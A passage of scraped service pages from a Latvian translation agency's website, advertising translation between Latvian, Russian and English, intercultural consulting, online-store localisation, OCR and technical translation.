25+ gadu pieredze darbā ar dažādu jomu dokumentu un mārketinga tekstu tulkojumiem, tostarp ar industriālajiem, tehniskajiem, medicīniskajiem un juridiskajiem tekstiem. Neskatoties uz to, vai jums nepieciešami standarta vai notariāli apliecināti tulkojumi, mēs nodrošināsim visu jums nepieciešamo pakalpojumu klāstu. Mūsu radošo tekstu tulkotāju komanda parūpēsies ne tikai par to, lai teksts būtu korekti tulkots, bet arī par to, ka tulkotais teksts būtu efektīvs un iedarbīgs, mērķauditorijas kultūrai atbilstošs. Varam sagatavot tulkojumu arī vieglajā latviešu valodā. 10 IEMESLI, LAI IZVĒLĒTOS SKRIVANEK BALTIC TULKOJUMIEM NO LATVIEŠU VALODAS ANGĻU VALODĀ VAI NO ANGĻU VALODAS LATVIEŠU VALODĀ Stingra datu aizsardzība un uzraudzība: visi tulkojumi tiek veikti ES dalībvalstīs. Tas pats attiecas arī uz materiāltehnisko nodrošinājumu, visi mūsu piegādātāji ir no ES dalībvalstīm, tādējādi palīdzot nodrošināt pilnīgu jūsu informācijas konfidencialitāti. Atbalsts vairāk nekā 100 datņu formātiem: mēs strādājam ar daudziem dažādiem datņu formātiem, tostarp PDF, JPG, IDML, JSON un HTML, kas nozīmē, ka jums nav nepieciešams pārveidot jūsu dokumentus pirms nodot mums tulkošanai vai lokalizācijai. Piedāvājam tulkojumus vairāk nekā 110 valodās: mūsu visaptverošie tulkošanas pakalpojumi aptver vairāk nekā 110 valodu, tādēļ jums nav jāmeklē vairāki tulkošanas biroji, lai veiktu tulkojumus arī citās valodās, piemērām, lietuviešu, igauņu, somu, zviedru vai vācu valodā. Plašs valodu pakalpojumu klāsts: no dokumentu tulkošanas līdz filmu subtitriem un tīmekļa vietņu vai lietotņu lokalizācijas risinājumiem — mūsu birojs piedāvās vispiemērotāko risinājumu tieši jums. Saņemiet cenu piedāvājumi tiešsaistē jau tūlīt: varat atvadīties no stundām ilgas cenu piedāvājumu gaidīšanas. Mēs nosūtīsim jums cenu piedāvājumu 30 minūšu laikā. Saņemiet tulkojumus tiešsaistē: saņemiet tulkotos dokumentus, arī notariāli apliecinātos e-dokumentus savā e-pastā, savukārt tradicionālos papīra formāta tulkojumus varam nosūtīt jums pa pastu vai ar kurjeru, līdz ar to jums vairs nav jātērē savs laiks ceļam uz pie mums uz biroju. Taču mēs vienmēr būsim priecīgi satikt jūs pie mums Lāčplēša ielā 87C, Rīgā. Parocīgs klientu portāls: sekojiet līdzi visam vienuviet un apziniet projekta izpildes progresu, izmantojot mūsu lietotājiem draudzīgo klientu portālu. Kvalitātes nodrošināšana: esiet droši, visi mūsu tulkojumi atbilst augstākajiem standartiem. Esam ISO sertificēts uzņēmums un esam ieviesuši ISO 9001, 17100 un 27001 kvalitātes vadības sistēmas procesus kā apliecinājumu mūsu ideāliem pēc augstākās kvalitātes un izcilības. Ekspertu tulkotāju un valodas speciālistu komanda: Skrivanek Baltic ir augsti prasmīgu un pieredzējušu tulkotāju, korektoru un redaktoru komanda, kas specializējas tulkošanā no latviešu valodas angļu valodā un no angļu valodas latviešu valodā un kuriem latviešu valoda ir dzimtā valoda. Viņiem ir dziļa izpratne par abām valodām un kultūras niansēm, tādējādi nodrošinot precīzus un kultūrai atbilstošus tulkojumus. Dedzīgi projektu vadītāji: Skrivanek Baltic katram tulkošanas projektam ieceļ rūpīgus un pieredzējušus projektu vadītājus. Viņu atbildība ir uzraudzīt visu tulkošanas procesu, nodrošinot tulkojuma laikā nodošanu, un atbildēt uz jebkādiem jautājumiem vai raizēm, kas jums rodas projekta gaitā. Viņu zināšanas un uzmanība detaļām nodrošina vislabāko tulkošanas pieredzi. Lai sasniegtu savus uzņēmējdarbības mērķus, uzticamiem un profesionāliem tulkojumiem latviešu valodā, izvēlieties Skrivanek Baltic. Nepieciešams profesionāls tulkojums no latviešu angļu valodā vai no angļu valodas latviešu valodā? Sazinieties ar mums! Skrivanek Baltic nodrošina rakstiskos un mutiskos tulkojumus 100+ valodās. Saņemiet cenu piedāvājumu tiešsaistē jau tūlīt. Augstas kvalitātes rezultāts garantēts! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KĀ NOTIEK MŪSU LATVIEŠU-ANGLU / ANGĻU-LATVIEŠU VALODAS TULKOŠANAS PAKALPOJUMU SNIEGŠANA --- > Опытные переводчики Skrivanek Baltic предоставляют профессиональные услуги перевода текстов на русский и с русского на английский язык предприятиям и физическим лицам. - Published: 2023-12-06 - Modified: 2024-11-05 - URL: https://skrivanek.lv/ru/perevodi-s-russkovo-na-anglijskij-ili-s-anglijskovo-na-russkij-jazik/ - Translation Priorities: Optional ПЕРЕВОДИТЕ НА РУССКИЙ ЯЗЫК | УСЛУГИ ПЕРЕВОДА НА РУССКИЙ ЯЗЫК Skrivanek Baltic предоставляет услуги профессионального перевода текстов на русский и с русского на английский язык. Наша команда состоит из опытных переводчиков, работающих с русским языком и специализирующихся в самых разных областях, что позволяет нам выполнять как обычные, так и заверенные переводы. Наши услуги перевода востребованы у предприятий из различных отраслей экономики, включая такие специфические сектора, как промышленный, технический, медицинский, юридический и многие другие. Мы обеспечиваем перевод разнообразных документов, таких как корпоративные договоры, счета, каталоги, рекламные слоганы, отчеты, деловая переписка, акты, доверенности, бланки и другие конфиденциальные материалы. Наши переводчики обеспечивают не только лингвистическую точность текстов, но и их эффективность, а также их соответствие культурным особенностям целевой аудитории. Мы заслужили доверие клиентов, предоставляя качественные услуги перевода, отвечающие потребностям их предприятий. ПОЧЕМУ НУЖНО ВЫБРАТЬ SKRIVANEK BALTIC, ЕСЛИ ВАМ ТРЕБУЕТСЯ ПЕРЕВЕСТИ С РУССКОГО НА АНГЛИЙСКИЙ ИЛИ С АНГЛИЙСКОГО НА РУССКИЙ ЯЗЫК? Skrivanek Baltic предоставляет надежные и профессиональные языковые услуги, включая перевод с русского на английский и с английского на русский язык. Благодаря многолетнему опыту, команде квалифицированных лингвистов и высокому качеству обслуживания клиентов мы способны предложить решение, отвечающее всем вашим потребностям в переводе. ПОЧЕМУ НУЖНО ВЫБРАТЬ SKRIVANEK BALTIC: Строгое соблюдение безопасности данных – все переводы выполняются в странах-участницах ЕС. Поддержка более 110 форматов файлов – мы работаем с файлами PDF, JPG, IDML, JSON и HTML, избавляя вас от необходимости конвертировать документы. Доступность более чем 110 языков – мы предоставляем разносторонние услуги перевода в рамках одной компании. Вам не придется искать другие переводческие агентства для работы со своим проектом. Широкий выбор языковых услуг – от перевода документов до перевода субтитров к фильмам, а также локализация интернет-страниц и приложений – все это возможно в бюро переводов Skrivanek. Быстрое и простое получение ценового предложения онлайн – забудьте об утомительном ожидании предложений. Мы подготовим ценовое предложение для вас всего за 30 минут. Выполнение онлайн – закажите перевод и получите готовые документы по электронной почте, в том числе заверенные переводы с квалифицированными электронными подписями. Переведенные документы в традиционном (распечатанном) виде мы можем отправить вам почтой или курьером. Удобный клиентский портал – отслеживайте все процессы и следите за продвижением вашего проекта. Контроль качества – беспокоитесь о качестве переводов? Не стоит. Мы сертифицированы согласно ISO 9001 и 17100, что говорит о нашей приверженности качеству и точности в работе. Получите бесплатное ценовое предложение или запросите дополнительную информацию! Команда опытных лингвистов Skrivanek Baltic предлагает услуги высококачественного перевода – как предприятиям, так и физическим лицам. Нужна помощь с конкретным проектом? Обратитесь к нам прямо сейчас за бесплатным ценовым предложением или дополнительной информацией. Будем рады возможности сотрудничать! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить В КАКИХ СЛУЧАЯХ ЛУЧШЕ ПОРУЧИТЬ ПЕРЕВОД ДОКУМЕНТА НА РУССКИЙ ЯЗЫК ЧЕЛОВЕКУ? Точный и аккуратный перевод: перевод документов на русский язык профессионалом-переводчиком обеспечивает точный и тщательно выверенный результат. Профессиональный лингвист превосходно улавливает верное значение, тональность и культурные особенности текста на исходном языке. Улучшенная коммуникация: точный перевод облегчает коммуникацию между всеми вовлеченными в проект лицами. Перевод, выполненный человеком, гарантирует, что документ будет понятен всем, – сводится к минимуму риск разночтений, улучшается коммуникацию в целом. Готовность к изменениям: в перевод, выполненный человеком, легко внести необходимые изменения. Если вам нужно сделать правку, переводчик легко видоизменит текст, не допуская при этом его искажения. Опыт в конкретных областях знаний: переводчики Skrivanek обладают специальными знаниями в ряде отраслей и знакомы с используемым в них техническим языком. Это обеспечивает точность при переводе сложных документов. Аутентичность и культурное соответствие: перевод, выполненный человеком, обладает аутентичностью и необходимыми культурными особенностями. Переводчики, являющиеся носителями русского языка, создают качественные переводы, придавая тексту надлежащую тональность и соответствие культурному контексту. КАК СНИЗИТЬ ЗАТРАТЫ НА ПЕРЕВОД ДОКУМЕНТА НА РУССКИЙ ЯЗЫК ИЛИ ОБРАТНО БЕЗ УЩЕРБА ДЛЯ КАЧЕСТВА? Выберите надежное бюро переводов: один из способов сократить издержки на перевод документа на русский язык или обратно – выбрать надежное и опытное бюро переводов. Такие компании предлагают услуги высокого качества по конкурентоспособной цене. Упростите исходный текст: чем проще исходный текст, тем легче его переводить, что уменьшает необходимость в лингвистическом анализе и обширных проверках. Кроме того, упрощенный текст облегчает, ускоряет перевод и делает его более точным, сокращая затрачиваемые время и силы. Предоставьте контекст и вспомогательные материалы: наличие контекста и вспомогательных материалов, например глоссариев и каких-либо справочных материалов, может существенно сократить издержки, позволяя переводчикам работать быстрее и с высокой степенью точности. Кроме того, контекст помогает понять переводчикам нюансы и значения отдельных слов и фраз. Выберите правильный тип файла: выбор подходящего типа файла тоже способен снизить стоимость перевода. Предпочтительны текстовые файлы, например, . doc, . txt и . rtf, поскольку их проще открыть, перевести и проверить. Ясный, лаконичный и удобочитаемый текст помогает переводчикам работать эффективнее, ускоряя процесс перевода в целом и снижая издержки на перевод. МОЖНО ЛИ ЗАКАЗАТЬ ЗАВЕРЕННЫЙ ПЕРЕВОД С АНГЛИЙСКОГО НА РУССКИЙ ЯЗЫК ОНЛАЙН – НЕ ПРИХОДЯ В ОФИС? Заверенный перевод с английского на русский язык можно выполнить онлайн, отправив в Skrivanek Baltic файл формата . edoc (документ, подписанный электронной подписью). Вы получите нотариальный перевод в формате . edoc, подписанный переводчиком и заверенный электронной подписью присяжного нотариуса. Эта процедура подходит для документов, выданных такими государственными учреждениями, как Информационный центр, Служба государственных доходов или Регистр предприятий. Запросите ценовое предложение: обратитесь в Skrivanek за ценовым предложением для необходимого вам заверенного перевода. Обязательно предоставьте всю необходимую информацию: вид документа, количество слов, срок выполнения. Отправьте документ: отправьте по электронной почте или загрузите документ на интернет-страницу. Обязательно предоставьте понятные инструкции касательно форматирования или особых условий. Проверьте и утвердите перевод: когда перевод будет готов, мы отправим переведенный документ вам для проверки. Сообщите нам, если потребуется внести правки или изменения. Получите заверенный перевод: после окончательной проверки и утверждения мы отправим вам заверенный перевод электронной или обычной почтой. КАК ВЫПОЛНЯЕТСЯ УСЛУГА ПЕРЕВОДА НА РУССКИЙ ЯЗЫК --- > There may not be a second chance for yourself and your company to make a first impression. Book a language and intercultural communication consultation. - Published: 2023-12-05 - Modified: 2025-07-03 - URL: https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/ - Translation Priorities: Optional There may not be a second chance for yourself and your company to make a first impression. Selling your goods and services in foreign markets, especially in the online environment, will always involve certain business risks. People say not to judge a book by its cover, but the first impression of you and your business in new foreign markets is critically important. It also means that communication about your goods and services must be clear and tailored to your target audience, taking both language and cultural differences into account. The business literature describes many different examples of failed product advertising slogans that led to failed business startups. Some examples: Did you know that one of the most popular breakfast dishes in India is Poha? Some time ago, Daimler entered the Chinese market with its new brand Bensi, which in Chinese means Rush to die; When Nokia called its latest mobile phone the Lumia, marketers made a big mistake by not checking how the word could be translated into other languages. When the ad was translated into Spanish, it turned out that the word lumia meant prostitute; When advertising in English, Pepsodent’s toothpaste claimed it would whiten teeth, but the ad campaign caused a huge commotion in Southeast Asia. Local residents specifically use betel nuts to make their teeth black, because having black teeth is considered the standard of beauty. So, before entering a new foreign market, it is crucial to study how your product name and brand message will be perceived, because language and cultural differences can cause quite unexpected and even unpredictable reactions in society, even in a small market like Latvia. Before starting a business in a foreign market, we recommend making sure that the intended communication strategy complies with the following recommendations: the chosen message is not too complex; you have prepared high-quality translations, as well as localised and adapted your marketing materials; there are no idiomatic expressions and colloquial words in the texts; instead, an easily and quickly understandable vocabulary is used, which the reader can easily remember if necessary; you have thought about local customs and cultural norms to avoid confusing mistakes and unwanted interpretations of concepts; the most important message is conveyed in the first sentence because each subsequent sentence will be read by fewer and fewer people; the product slogan is no longer than 5 words; the writing is done in a coherent way. One of the services offered by Skrivanek Baltic is intercultural communication consulting, to provide clients with professional support when expanding to new markets. We analyse each project from the perspective of the target client, and if the target client is not defined, we help to define it, so that language specialists can accurately identify linguistic and intercultural communication problem situations and find the most effective solutions. Our specialists evaluate the brand’s communication strategy, product and service names, sales materials and product descriptions, and provide feedback on how they might be perceived by the target market, indicating possible linguistic or cultural peculiarities. We study the tonality of your message, help you choose the right form of address and ensure compliance of the content with local traditions. This is how we help you avoid unexpected negative consumer reactions – including online, because your brand and product names will appear in local search engines. Our consultations in the field of adaptation and localisation include: linguistic analysis of company logos, slogans and product names; identification of potentially offensive or ambiguous words and phrases; paraphrasing and finding of synonyms; examination of the similarity and associations of your company’s logo with other logos of the target market; evaluation of the suitability of messages to the audience; compliance of images, colours and other visual elements with local cultural traditions. Our team includes linguists and experts from all over the world, so we have access to the fundamental knowledge of any global market. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year DO YOU NEED A CONSULTATION IN LANGUAGE CROSS-CULTURAL COMMUNICATION? CONTACT US! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! --- > Do you want to market your products and services to foreign customers? We provide the translation and localisation of online stores in 110+ languages. - Published: 2023-12-04 - Modified: 2025-07-08 - URL: https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/ - Translation Priorities: Optional SURPASS YOUR COMPETITORS IN THE FIELD OF E-COMMERCE! Translation and localisation of online stores is a process that covers linguistic, technical and cultural aspects. Language specialists who provide this service don’t just translate the content of the website or platform, they must also pay attention to whether the translation meets the interests of the target audience and matches their online search practices, as well as follow the laws and regulations of the respective country. Another important element of online store translation is transcreation and text adaptation, meaning, adapting product slogans, advertisements and marketing content into the target language to convey a similar emotional meaning to the new target audience. Customising and adapting an E-commerce store also involves SEO translation, which includes selecting, researching, and incorporating relevant keywords into your product descriptions and other website text, as well as subpage titles, meta, image and infographic descriptions, and other elements that will help the website rank better among search engine users in the respective region, while at the same time attract more attention from the target audience. CULTURAL DIFFERENCES WHEN TRANSLATING ONLINE STORES The translation and localisation of online stores or e-commerce platforms must start with defining your target customer and their habits so that language specialists can successfully adapt the translated online store content to the interests of the shoppers. Some aspects of the product will be important to French sales representatives, but completely different to private individuals in the UK. It is also necessary to take care of the correct selection of existing content because many texts intended for customers of your country, such as articles from the news section, addresses, contact details or legal references will be completely unnecessary in the foreign language version of your website. The same applies to product and service descriptions as well as other texts. For example, elements of humour in the text may be appropriate for a website aimed at customers in the UK, while customers in Germany expect specific information. Equally important is tailoring the visual appearance of your website to your target audience, from its design to the tiniest symbols to make sure customers in the country don’t misunderstand them. Do you need a translation for an online store? Contact us and we will help! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional information, preferably URLHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! HOW TO TRANSLATE AND LOCALISE AN ONLINE STORE HOSTED BY PRESTASHOP? PrestaShop is an open-source e-commerce solution that anyone can download for free. With PrestaShop, you can create a comprehensive online store and address an unlimited number of customers from all over the world. This means that you can tell everyone about your products and services in all the languages of your customers. Experts even recommend creating and maintaining a PrestaShop online store in several languages. Most importantly, the content must be easy to read, understandable and suitable for your target markets and audience. Thanks to the latest content localisation update in PrestaShop version 1. 5, localising and translating the content you create in PrestaShop has never been easier. HOW TO TRANSLATE AND LOCALISE AN ONLINE STORE HOSTED BY MAGENTO? Whether you’re already using one of the e-commerce platforms to run your online store, or you’re just planning to start an e-commerce business and become a Magento user soon, the chances are that sooner or later you’ll need to translate and localise your online store. Regardless of the size of your company, we are here to support the further development of your company and help you acquire new foreign customers, because we speak the languages of all your customers. HOW TO TRANSLATE AND LOCALISE AN ONLINE STORE HOSTED BY IDOSELL? If you want to expand your business into foreign markets, creating a multilingual online store should be your priority No. 1 HOW TO TRANSLATE AND LOCALISE AN ONLINE STORE HOSTED BY SHOPIFY? If you have a Shopify store, then you may be thinking of launching your business internationally. Ultimately, the rewards for this come from selling your product. Maybe your journey started with shipping to a new location, and now you feel that it is a good idea to move into this other market. LOCALISATION OF GRAPHIC ELEMENTS Adapting the graphic elements to the needs of the target market is another challenge related to the translation and localisation of online stores. Because the texts that are visible on banners, buttons and images of online stores also need to be translated and localised. Doing this at a professional level requires close cooperation between translators and graphic designers. TRANSLATION OF ONLINE STORES – THE LINGUISTIC ASPECT When translating the content of online stores, we take into account the correct depiction of measurements, weights, dimensions or currency units in the respective target market or country. We are aware of the fact that incorrectly used units of measure, incorrectly inserted commas or full stops can mislead customers. When creating a connection with a potential customer, it is important to use phrases that are suitable for a specific customer group. The same phrases may be perceived positively in one culture but possibly even be considered offensive in another. In order to maintain the right tone and fluency of the text and to attract potential clients, all translations are proofread by a native speaker of the target language The proofreader carefully checks the accuracy of the content and stylistics of the translation. THE TECHNICAL SIDE OF TRANSLATION AND LOCALISATION OF ONLINE STORES Translation and localisation of online stores also includes IT work, mainly for obtaining the content for translation from the source code, since each page consists of elements that are invisible to users but are necessary for functionality. Some platforms, like PrestaShop, already provide basic functionality to facilitate the translation of product descriptions. Product descriptions – titles, product specifications, as well as marketing content – are always adapted and translated by a team of professional translators. MULTI-LANGUAGE AND MULTI-CURRENCY SITES HOSTED BY WORDPRESS WooCommerce Multilingual allows you to maintain online stores in multiple languages and currencies. WooCommerce is the most popular and trusted multilingual e-commerce platform. Provides the translation of products and product variants. Provides the translation of all the texts that customers see while shopping. Allows pricing and billing in multiple currencies. Makes it easier to identify SEO parameters in different languages. Compatible with all popular WooCommerce plugins and themes. Comes with WPML bundles – Multilingual CMS and Multilingual Agency. LEGAL CHALLENGES It is important for every online store to comply with the legal norms of each country, as incorrect or insufficient compliance with formalities can block sales in the respective country and cause serious legal consequences. This often means using and highlighting special references, using special terminology that meets the requirements of consumer protection authorities, as well as the strategy of the particular brand. In such cases, the translator works in cooperation with the client to prepare a glossary of key terms. INFORMATION SECURITY GUARANTEE In the process of translating and localising online stores, our IT support team often needs access to your website’s admin panel, which can create additional privacy concerns. However, if you cooperate with Skrivanek Baltic translation agency, you can be sure that your data will be completely safe and not reach third parties. Our concern for information security and confidentiality is confirmed by the ISO 27001 certificate. WHY IS IT WORTH TRANSLATING AN ONLINE STORE PROFESSIONALLY? Online retail sales continue to grow every year. More and more products and services are purchased in online stores instead of in-person stores. This applies to all kinds of products, from clothing, electrical appliances, books or movies, to food and medicine. However, with the rapid development of e-commerce, customer satisfaction and loyalty are increasingly important. As we know, when there is a large selection of online stores, buyers choose well-functioning online stores with interesting content in their native language more often. Smart translation and localisation of your online store content will help you gain new customers and increase the sales of your company’s products and services. If you want to order a translation of an online store – contact us! We provide service for both smaller sites and large auction portals, adjusting the way we work according to the given project. --- > Cooperation with Skrivanek guarantees that the documents will be scanned correctly and then translated into the desired foreign language. - Published: 2023-12-04 - Modified: 2025-07-03 - URL: https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ - Translation Priorities: Optional OCR – WHAT DOES IT MEAN IN PRACTICE? OCR or Optical Character Recognition is technology that is widely used in various industries, including translation. Many of the documents that translation agency employees work with on a daily basis are received as scans or as JPG, PDF files – formats that are suitable for information distribution but not for editing or translation. Without OCR technology, employees would have to spend a lot of time and effort to transcribe, for example, the text of low-quality scanned documents. OCR software or built-in functionality, in simple terms, recognises characters in non-editable files and turns them into editable and usable text. OCR software can also recognise text in images and turn non-editable tables, seal impressions, formulas, or even an entire PDF file into a text document. As a result, the PDF file is converted into an open, editable text file, from which you can easily copy specific parts of the text, add new text or create a bilingual document. HOW CAN WE USE OCR IN PRACTICE? There are two ways to work with the technology and use the OCR functionality: by installing the OCR software application on your computer; using a device with built-in OCR functionality. You can also find free image file converters that use OCR technology on the Internet, but professionals rarely recommend this solution. We will explain the reason in more detail at the end of this article. In both previously mentioned cases, scanning files is a simple process that makes office work much easier. The choice between one or the other option largely depends on the specifics of the company’s work, the types of documents, as well as the demands of the customer. OCR software is available in both free and paid versions. The paid versions offer much more options when it comes to the technical capabilities of editing a document, as well as additional features related to graphics or texts in foreign languages. To use OCR software, the file you want to scan must be on your computer. After opening the file, follow the instructions, which usually only takes a few clicks. After processing, the software allows you to download the finished text file. Businesses are slightly more likely to purchase printers or scanners with built-in OCR technology than a dedicated application. In this case, the scanning process is slightly faster as you only need to scan the document with the OCR option turned on. The scanned file will already appear on your computer in text form. As you can see, the OCR process of document scanning is very similar in both cases and is not complicated. However, the quality of the document plays a big role – OCR technology is best at scanning high-resolution and clear content. Do you need optical character recognition services? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! THE ADVANTAGES OF OCR In addition to being easy to use, OCR technology has many other advantages: Saving time – perhaps the biggest advantage of OCR technology. There is no longer any need to rewrite documents to decipher individual information from a PDF file, which is a huge saving of manpower and energy. Archiving – OCR not only helps you create text files but also allows you to store them in an electronic archive. This way also makes searching for documents easier; just enter a keyword or phrase into the search engine to get a list of results. Improved document circulation – Documents often travel a long way before finally reaching the right recipient. The OCR system can also help facilitate automatic shipping processes. In addition, documents can be subjected to several processes at the same time, which significantly speeds up the execution of the order. OCR – OPTICAL CHARACTER RECOGNITION FOR DOCUMENTS IN A FOREIGN LANGUAGE OCR technology is very widely used in translation offices and companies that work with languages, as it allows you to scan documents of different quality in a foreign language, as well as edit PDF files or handwritten materials. Skrivanek also offers this technology. Almost every OCR program allows you to choose another language, and the list of languages offered is really impressive. Such software can also read non-Latin alphabets, so all character symbols will be recognised as a foreign language. Some OCR software, in addition to the function of reading foreign language text, also offers the option of automatically translating whole text fragments – you just need to select the source language of the document and the target language that you want the translation to be in. However, since the machine translation of specific texts still requires too many corrections and will often not be immediately suitable for use, it is recommended to choose a professional service and contact a translation agency. WHY IS IT A GOOD IDEA TO OUTSOURCE OCR SERVICES FROM PROFESSIONALS? If you want the documents to be prepared in the highest quality, then similar to other everyday things like fixing your plumbing or learning a musical instrument, it’s a good idea to go to a specialist. People in our company who work with OCR technology on a daily basis will be able to implement the document conversion process more efficiently, as well as notice potential errors more promptly. In addition, we can help if: the document has a special layout or placement of graphic elements; the material is intended for high-resolution printing; it requires more advanced OCR capabilities (or other software) to help copy the original version of the document. DISADVANTAGES OF ONLINE OCR TOOLS Many OCR technologies for scanning documents are freely available on the internet. Initially, it may seem quite tempting, but this solution is associated with several complications and even risks. The first challenge is the time it takes to find and evaluate a site that’s right for you – not all sites offer a free service that’s fully accessible right away. The choice of tools is also often limited due to the specifics of the site. Using online OCR tools, you won’t be able to work with large files, so various kinds of complex graphics, larger texts or complex forms will be impossible to read. Even if the tool you find will offer to read the document according to your needs, there may not be an option to download the finished file – so you’ll still have to copy the information manually. However, the most serious risk to keep in mind when using online OCR tools is the protection of personal and other important data. We are only rarely able to verify the security of a given site and cannot be sure that high-security risk data will not be retained after the OCR process is complete, as anything that has been published online once remains there forever. Cooperation with the translation agency Skrivanek eliminates all these unnecessary problems and guarantees that the documents will be scanned correctly and then translated into the desired language. If you want to learn more, we will be happy to answer your questions! --- > Professional translations of technical documentation, equipment instructions and software, respecting industry terminology. - Published: 2023-12-04 - Modified: 2025-07-03 - URL: https://skrivanek.lv/tehniska-tulkosana/ - Translation Priorities: Optional WHAT IS TECHNICAL TRANSLATION? Technical translation is a specialised type of translation that involves particularly specific work, meaning that technical translation requires the most accurate reproduction of various technological solutions and processes in the target language, the proficient translation of narrowly specialised terms, and compliance with the appropriate presentation style. Likewise, for the translation of technical documentation, equipment instructions and software, one needs perfect knowledge of the source and target languages, and to be proficient in professional terminology. Due to the globalisation process, a wide exchange of technical information can be observed all over the world both between local and foreign information technology companies, as well as manufacturers, science and innovation centres, and designers. Opportunities for cooperation are increasing; therefore, a service such as technical translation is becoming more and more in demand in the language services market. For other types of translation, more information is available in the sections “website translation and localisation”, “interpreting”, “translation of legal texts”, “translation of advertising and marketing texts”, “translation of various general documents” and “notary-certified translation”. WE PROVIDE TECHNICAL TRANSLATION IN MORE THAN 110 LANGUAGES English, Arabic, Armenian, Czech, Danish, French, Greek, Georgian, Hindi, Estonian, Italian, Russian, Chinese, Latvian, Lithuanian, Norwegian Polish, Portuguese, Romanian, Slovenian, Finnish, Spanish, Hungarian, German, Swedish and other languages. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year Do you need a translation of a technical text? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation for technical translations now! PECULIARITIES OF TRANSLATING TECHNICAL TEXTS Technical texts often contain terms that lack appropriate target language equivalents, so translators sometimes also deal with term creation by contacting experts in the relevant field and/or reading additional literature to gain an understanding of technological innovations or scientific discoveries. If the term is used by a very limited group of specialists, experts recommend rendering it very similar to the word in the source language to avoid misunderstandings. One of the ways to reproduce unknown terms in the target language is to study the international distribution of the source language word, that is, the internationality of words is one of the criteria for borrowing terms into Latvian. The more languages in which a certain international term is found, the more reason there is to borrow it in the Latvian language as well. Such international terms also tend to become synonyms for Latvian terms, because next to the Latvian term, which facilitates clear communication within the 